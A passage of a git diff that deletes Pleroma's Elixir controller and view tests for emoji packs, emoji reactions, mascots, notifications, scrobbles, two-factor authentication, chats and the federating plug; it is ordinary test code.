json_response_and_validate_schema(200) == ctx[:new_data] - - assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] - end - - test "for a pack with a fallback source", ctx do - mock(fn - %{ - method: :get, - url: "https://nonshared-pack" - } -> - text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) - end) - - new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") - - new_data_with_sha = - Map.put( - new_data, - "fallback-src-sha256", - "1967BB4E42BCC34BCC12D57BE7811D3B7BE52F965BCE45C87BD377B9499CE11D" - ) - - assert ctx[:admin_conn] - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) - |> json_response_and_validate_schema(200) == new_data_with_sha - - assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha - end - - test "when the fallback source doesn't have all the files", ctx do - mock(fn - %{ - method: :get, - url: "https://nonshared-pack" - } -> - {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory]) - text(empty_arch) - end) - - new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") - - assert ctx[:admin_conn] - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "The fallback archive does not have all files specified in pack.json" - } - end - end - - describe "POST/DELETE /api/pleroma/emoji/pack?name=:name" do - test "creating and deleting a pack", %{admin_conn: admin_conn} do - assert admin_conn - |> post("/api/pleroma/emoji/pack?name=test_created") - |> json_response_and_validate_schema(200) == "ok" - - assert File.exists?("#{@emoji_path}/test_created/pack.json") - - assert Jason.decode!(File.read!("#{@emoji_path}/test_created/pack.json")) == %{ - "pack" => %{}, - "files" => %{}, - "files_count" => 0 - } - - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=test_created") - |> json_response_and_validate_schema(200) == "ok" - - refute File.exists?("#{@emoji_path}/test_created/pack.json") - end - - test "if pack exists", %{admin_conn: admin_conn} do - path = Path.join(@emoji_path, "test_created") - File.mkdir(path) - pack_file = Jason.encode!(%{files: %{}, pack: %{}}) - File.write!(Path.join(path, "pack.json"), pack_file) - - assert admin_conn - |> post("/api/pleroma/emoji/pack?name=test_created") - |> json_response_and_validate_schema(:conflict) == %{ - "error" => "A pack named \"test_created\" already exists" - } - - on_exit(fn -> File.rm_rf(path) end) - end - - test "with empty name", %{admin_conn: admin_conn} do - assert admin_conn - |> post("/api/pleroma/emoji/pack?name= ") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name cannot be empty" - } - end - end - - test "deleting nonexisting pack", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=non_existing") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "Pack non_existing does not exist" - } - end - - test "deleting with empty name", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name= ") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name cannot be empty" - } - end - - test "filesystem import", %{admin_conn: admin_conn, conn: conn} do - on_exit(fn -> - File.rm!("#{@emoji_path}/test_pack_for_import/emoji.txt") - File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") - end) - - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - - refute Map.has_key?(resp["packs"], "test_pack_for_import") - - assert admin_conn - |> get("/api/pleroma/emoji/packs/import") - |> json_response_and_validate_schema(200) == ["test_pack_for_import"] - - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - assert resp["packs"]["test_pack_for_import"]["files"] == %{"blank" => "blank.png"} - - File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") - refute File.exists?("#{@emoji_path}/test_pack_for_import/pack.json") - - emoji_txt_content = """ - blank, blank.png, Fun - blank2, blank.png - foo, /emoji/test_pack_for_import/blank.png - bar - """ - - File.write!("#{@emoji_path}/test_pack_for_import/emoji.txt", emoji_txt_content) - - assert admin_conn - |> get("/api/pleroma/emoji/packs/import") - |> json_response_and_validate_schema(200) == ["test_pack_for_import"] - - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - - assert resp["packs"]["test_pack_for_import"]["files"] == %{ - "blank" => "blank.png", - "blank2" => "blank.png", - "foo" => "blank.png" - } - end - - describe "GET /api/pleroma/emoji/pack?name=:name" do - test "shows pack.json", %{conn: conn} do - assert %{ - "files" => files, - "files_count" => 2, - "pack" => %{ - "can-download" => true, - "description" => "Test description", - "download-sha256" => _, - "homepage" => "https://pleroma.social", - "license" => "Test license", - "share-files" => true - } - } = - conn - |> get("/api/pleroma/emoji/pack?name=test_pack") - |> json_response_and_validate_schema(200) - - assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} - - assert %{ - "files" => files, - "files_count" => 2 - } = - conn - |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1") - |> json_response_and_validate_schema(200) - - assert files |> Map.keys() |> length() == 1 - - assert %{ - "files" => files, - "files_count" => 2 - } = - conn - |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1&page=2") - |> json_response_and_validate_schema(200) - - assert files |> Map.keys() |> length() == 1 - end - - test "for pack name with special chars", %{conn: conn} do - assert %{ - "files" => files, - "files_count" => 1, - "pack" => %{ - "can-download" => true, - "description" => "Test description", - "download-sha256" => _, - "homepage" => "https://pleroma.social", - "license" => "Test license", - "share-files" => true - } - } = - conn - |> get("/api/pleroma/emoji/pack?name=blobs.gg") - |> json_response_and_validate_schema(200) - end - - test "non existing pack", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/pack?name=non_existing") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "Pack non_existing does not exist" - } - end - - test "error name", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/pack?name= ") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name cannot be empty" - } - end - end -end diff --git a/test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs b/test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs deleted file mode 100644 index 3deab30d1..000000000 --- a/test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs +++ /dev/null @@ -1,149 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.EmojiReactionControllerTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "PUT /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - - result = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) - |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") - |> json_response_and_validate_schema(200) - - # We return the status, but this our implementation detail. - assert %{"id" => id} = result - assert to_string(activity.id) == id - - assert result["pleroma"]["emoji_reactions"] == [ - %{"name" => "☕", "count" => 1, "me" => true} - ] - - # Reacting with a non-emoji - assert conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) - |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/x") - |> json_response_and_validate_schema(400) - end - - test "DELETE /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _reaction_activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - ObanHelpers.perform_all() - - result = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) - |> delete("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") - - assert %{"id" => id} = json_response_and_validate_schema(result, 200) - assert to_string(activity.id) == id - - ObanHelpers.perform_all() - - object = Object.get_by_ap_id(activity.data["object"]) - - assert object.data["reaction_count"] == 0 - end - - test "GET /api/v1/pleroma/statuses/:id/reactions", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - doomed_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - assert result == [] - - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, doomed_user, "🎅") - - User.perform(:delete, doomed_user) - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = result - - assert represented_user["id"] == other_user.id - - result = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:statuses"])) - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - assert [%{"name" => "🎅", "count" => 1, "accounts" => [_represented_user], "me" => true}] = - result - end - - test "GET /api/v1/pleroma/statuses/:id/reactions with :show_reactions disabled", %{conn: conn} do - clear_config([:instance, :show_reactions], false) - - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - assert result == [] - end - - test "GET /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") - |> json_response_and_validate_schema(200) - - assert result == [] - - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - assert [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") - |> json_response_and_validate_schema(200) - - assert represented_user["id"] == other_user.id - end -end diff --git a/test/web/pleroma_api/controllers/mascot_controller_test.exs b/test/web/pleroma_api/controllers/mascot_controller_test.exs deleted file mode 100644 index e2ead6e15..000000000 --- a/test/web/pleroma_api/controllers/mascot_controller_test.exs +++ /dev/null @@ -1,73 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - - test "mascot upload" do - %{conn: conn} = oauth_access(["write:accounts"]) - - non_image_file = %Plug.Upload{ - content_type: "audio/mpeg", - path: Path.absname("test/fixtures/sound.mp3"), - filename: "sound.mp3" - } - - ret_conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) - - assert json_response_and_validate_schema(ret_conn, 415) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/pleroma/mascot", %{"file" => file}) - - assert %{"id" => _, "type" => image} = json_response_and_validate_schema(conn, 200) - end - - test "mascot retrieving" do - %{user: user, conn: conn} = oauth_access(["read:accounts", "write:accounts"]) - - # When user hasn't set a mascot, we should just get pleroma tan back - ret_conn = get(conn, "/api/v1/pleroma/mascot") - - assert %{"url" => url} = json_response_and_validate_schema(ret_conn, 200) - assert url =~ "pleroma-fox-tan-smol" - - # When a user sets their mascot, we should get that back - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - ret_conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/pleroma/mascot", %{"file" => file}) - - assert json_response_and_validate_schema(ret_conn, 200) - - user = User.get_cached_by_id(user.id) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/pleroma/mascot") - - assert %{"url" => url, "type" => "image"} = json_response_and_validate_schema(conn, 200) - assert url =~ "an_image" - end -end diff --git a/test/web/pleroma_api/controllers/notification_controller_test.exs b/test/web/pleroma_api/controllers/notification_controller_test.exs deleted file mode 100644 index bb4fe6c49..000000000 --- a/test/web/pleroma_api/controllers/notification_controller_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.NotificationControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "POST /api/v1/pleroma/notifications/read" do - setup do: oauth_access(["write:notifications"]) - - test "it marks a single notification as read", %{user: user1, conn: conn} do - user2 = insert(:user) - {:ok, activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, [notification1]} = Notification.create_notifications(activity1) - {:ok, [notification2]} = Notification.create_notifications(activity2) - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/notifications/read", %{id: notification1.id}) - |> json_response_and_validate_schema(:ok) - - assert %{"pleroma" => %{"is_seen" => true}} = response - assert Repo.get(Notification, notification1.id).seen - refute Repo.get(Notification, notification2.id).seen - end - - test "it marks multiple notifications as read", %{user: user1, conn: conn} do - user2 = insert(:user) - {:ok, _activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, _activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, _activity3} = CommonAPI.post(user2, %{status: "HIE @#{user1.nickname}"}) - - [notification3, notification2, notification1] = Notification.for_user(user1, %{limit: 3}) - - [response1, response2] = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/notifications/read", %{max_id: notification2.id}) - |> json_response_and_validate_schema(:ok) - - assert %{"pleroma" => %{"is_seen" => true}} = response1 - assert %{"pleroma" => %{"is_seen" => true}} = response2 - assert Repo.get(Notification, notification1.id).seen - assert Repo.get(Notification, notification2.id).seen - refute Repo.get(Notification, notification3.id).seen - end - - test "it returns error when notification not found", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/notifications/read", %{ - id: 22_222_222_222_222 - }) - |> json_response_and_validate_schema(:bad_request) - - assert response == %{"error" => "Cannot get notification"} - end - end -end diff --git a/test/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/web/pleroma_api/controllers/scrobble_controller_test.exs deleted file mode 100644 index f39c07ac6..000000000 --- a/test/web/pleroma_api/controllers/scrobble_controller_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.CommonAPI - - describe "POST /api/v1/pleroma/scrobble" do - test "works correctly" do - %{conn: conn} = oauth_access(["write"]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/scrobble", %{ - "title" => "lain radio episode 1", - "artist" => "lain", - "album" => "lain radio", - "length" => "180000" - }) - - assert %{"title" => "lain radio episode 1"} = json_response_and_validate_schema(conn, 200) - end - end - - describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do - test "works correctly" do - %{user: user, conn: conn} = oauth_access(["read"]) - - {:ok, _activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 1", - artist: "lain", - album: "lain radio" - }) - - {:ok, _activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 2", - artist: "lain", - album: "lain radio" - }) - - {:ok, _activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 3", - artist: "lain", - album: "lain radio" - }) - - conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/scrobbles") - - result = json_response_and_validate_schema(conn, 200) - - assert length(result) == 3 - end - end -end diff --git a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs b/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs deleted file mode 100644 index 22988c881..000000000 --- a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs +++ /dev/null @@ -1,264 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - alias Pleroma.MFA.Settings - alias Pleroma.MFA.TOTP - - describe "GET /api/pleroma/accounts/mfa/settings" do - test "returns user mfa settings for new user", %{conn: conn} do - token = insert(:oauth_token, scopes: ["read", "follow"]) - token2 = insert(:oauth_token, scopes: ["write"]) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa") - |> json_response(:ok) == %{ - "settings" => %{"enabled" => false, "totp" => false} - } - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> get("/api/pleroma/accounts/mfa") - |> json_response(403) == %{ - "error" => "Insufficient permissions: read:security." - } - end - - test "returns user mfa settings with enabled totp", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - enabled: true, - totp: %Settings.TOTP{secret: "XXX", delivery_type: "app", confirmed: true} - } - ) - - token = insert(:oauth_token, scopes: ["read", "follow"], user: user) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa") - |> json_response(:ok) == %{ - "settings" => %{"enabled" => true, "totp" => true} - } - end - end - - describe "GET /api/pleroma/accounts/mfa/backup_codes" do - test "returns backup codes", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: "secret"} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa/backup_codes") - |> json_response(:ok) - - assert [<<_::bytes-size(6)>>, <<_::bytes-size(6)>>] = response["codes"] - user = refresh_record(user) - mfa_settings = user.multi_factor_authentication_settings - assert mfa_settings.totp.secret == "secret" - refute mfa_settings.backup_codes == ["1", "2", "3"] - refute mfa_settings.backup_codes == [] - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> get("/api/pleroma/accounts/mfa/backup_codes") - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end - - describe "GET /api/pleroma/accounts/mfa/setup/totp" do - test "return errors when method is invalid", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa/setup/torf") - |> json_response(400) - - assert response == %{"error" => "undefined method"} - end - - test "returns key and provisioning_uri", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{backup_codes: ["1", "2", "3"]} - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa/setup/totp") - |> json_response(:ok) - - user = refresh_record(user) - mfa_settings = user.multi_factor_authentication_settings - secret = mfa_settings.totp.secret - refute mfa_settings.enabled - assert mfa_settings.backup_codes == ["1", "2", "3"] - - assert response == %{ - "key" => secret, - "provisioning_uri" => TOTP.provisioning_uri(secret, "#{user.email}") - } - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> get("/api/pleroma/accounts/mfa/setup/totp") - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end - - describe "GET /api/pleroma/accounts/mfa/confirm/totp" do - test "returns success result", %{conn: conn} do - secret = TOTP.generate_secret() - code = TOTP.generate_token(secret) - - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: secret} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) - |> json_response(:ok) - - settings = refresh_record(user).multi_factor_authentication_settings - assert settings.enabled - assert settings.totp.secret == secret - assert settings.totp.confirmed - assert settings.backup_codes == ["1", "2", "3"] - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - - test "returns error if password incorrect", %{conn: conn} do - secret = TOTP.generate_secret() - code = TOTP.generate_token(secret) - - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: secret} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "xxx", code: code}) - |> json_response(422) - - settings = refresh_record(user).multi_factor_authentication_settings - refute settings.enabled - refute settings.totp.confirmed - assert settings.backup_codes == ["1", "2", "3"] - assert response == %{"error" => "Invalid password."} - end - - test "returns error if code incorrect", %{conn: conn} do - secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: secret} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) - |> json_response(422) - - settings = refresh_record(user).multi_factor_authentication_settings - refute settings.enabled - refute settings.totp.confirmed - assert settings.backup_codes == ["1", "2", "3"] - assert response == %{"error" => "invalid_token"} - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end - - describe "DELETE /api/pleroma/accounts/mfa/totp" do - test "returns success result", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: "secret"} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) - |> json_response(:ok) - - settings = refresh_record(user).multi_factor_authentication_settings - refute settings.enabled - assert settings.totp.secret == nil - refute settings.totp.confirmed - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end -end diff --git a/test/web/pleroma_api/views/chat/message_reference_view_test.exs b/test/web/pleroma_api/views/chat/message_reference_view_test.exs deleted file mode 100644 index 40dbae3cd..000000000 --- a/test/web/pleroma_api/views/chat/message_reference_view_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.Chat.MessageReferenceViewTest do - use Pleroma.DataCase - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView - - import Pleroma.Factory - - test "it displays a chat message" do - user = insert(:user) - recipient = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "kippis :firefox:") - - chat = Chat.get(user.id, recipient.ap_id) - - object = Object.normalize(activity) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - chat_message = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) - - assert chat_message[:id] == cm_ref.id - assert chat_message[:content] == "kippis :firefox:" - assert chat_message[:account_id] == user.id - assert chat_message[:chat_id] - assert chat_message[:created_at] - assert chat_message[:unread] == false - assert match?([%{shortcode: "firefox"}], chat_message[:emojis]) - - clear_config([:rich_media, :enabled], true) - - Tesla.Mock.mock(fn - %{url: "https://example.com/ogp"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} - end) - - {:ok, activity} = - CommonAPI.post_chat_message(recipient, user, "gkgkgk https://example.com/ogp", - media_id: upload.id - ) - - object = Object.normalize(activity) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - chat_message_two = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) - - assert chat_message_two[:id] == cm_ref.id - assert chat_message_two[:content] == object.data["content"] - assert chat_message_two[:account_id] == recipient.id - assert chat_message_two[:chat_id] == chat_message[:chat_id] - assert chat_message_two[:attachment] - assert chat_message_two[:unread] == true - assert chat_message_two[:card] - end -end diff --git a/test/web/pleroma_api/views/chat_view_test.exs b/test/web/pleroma_api/views/chat_view_test.exs deleted file mode 100644 index 02484b705..000000000 --- a/test/web/pleroma_api/views/chat_view_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.ChatViewTest do - use Pleroma.DataCase - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView - alias Pleroma.Web.PleromaAPI.ChatView - - import Pleroma.Factory - - test "it represents a chat" do - user = insert(:user) - recipient = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) - - represented_chat = ChatView.render("show.json", chat: chat) - - assert represented_chat == %{ - id: "#{chat.id}", - account: - AccountView.render("show.json", user: recipient, skip_visibility_check: true), - unread: 0, - last_message: nil, - updated_at: Utils.to_masto_date(chat.updated_at) - } - - {:ok, chat_message_creation} = CommonAPI.post_chat_message(user, recipient, "hello") - - chat_message = Object.normalize(chat_message_creation, false) - - {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) - - represented_chat = ChatView.render("show.json", chat: chat) - - cm_ref = MessageReference.for_chat_and_object(chat, chat_message) - - assert represented_chat[:last_message] == - MessageReferenceView.render("show.json", chat_message_reference: cm_ref) - end -end diff --git a/test/web/pleroma_api/views/scrobble_view_test.exs b/test/web/pleroma_api/views/scrobble_view_test.exs deleted file mode 100644 index 6bdb56509..000000000 --- a/test/web/pleroma_api/views/scrobble_view_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.StatusViewTest do - use Pleroma.DataCase - - alias Pleroma.Web.PleromaAPI.ScrobbleView - - import Pleroma.Factory - - test "successfully renders a Listen activity (pleroma extension)" do - listen_activity = insert(:listen) - - status = ScrobbleView.render("show.json", activity: listen_activity) - - assert status.length == listen_activity.data["object"]["length"] - assert status.title == listen_activity.data["object"]["title"] - end -end diff --git a/test/web/plugs/federating_plug_test.exs b/test/web/plugs/federating_plug_test.exs deleted file mode 100644 index 2f8aadadc..000000000 --- a/test/web/plugs/federating_plug_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FederatingPlugTest do - use Pleroma.Web.ConnCase - - setup do: clear_config([:instance, :federating]) - - test "returns and halt the conn when federating is disabled" do - Pleroma.Config.put([:instance, :federating], false) - - conn = - build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) - - assert conn.status == 404 - assert conn.halted - end - - test "does nothing when federating is enabled" do - Pleroma.Config.put([:instance, :federating], true) - - conn = - build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) - - refute conn.status - refute conn.halted - end -end diff --git a/test/web/plugs/plug_test.exs b/test/web/plugs/plug_test.exs deleted file mode 100644 index 943e484e7..000000000 --- a/test/web/plugs/plug_test.exs +++ /dev/null @@ -1,91 +0,0 @@ 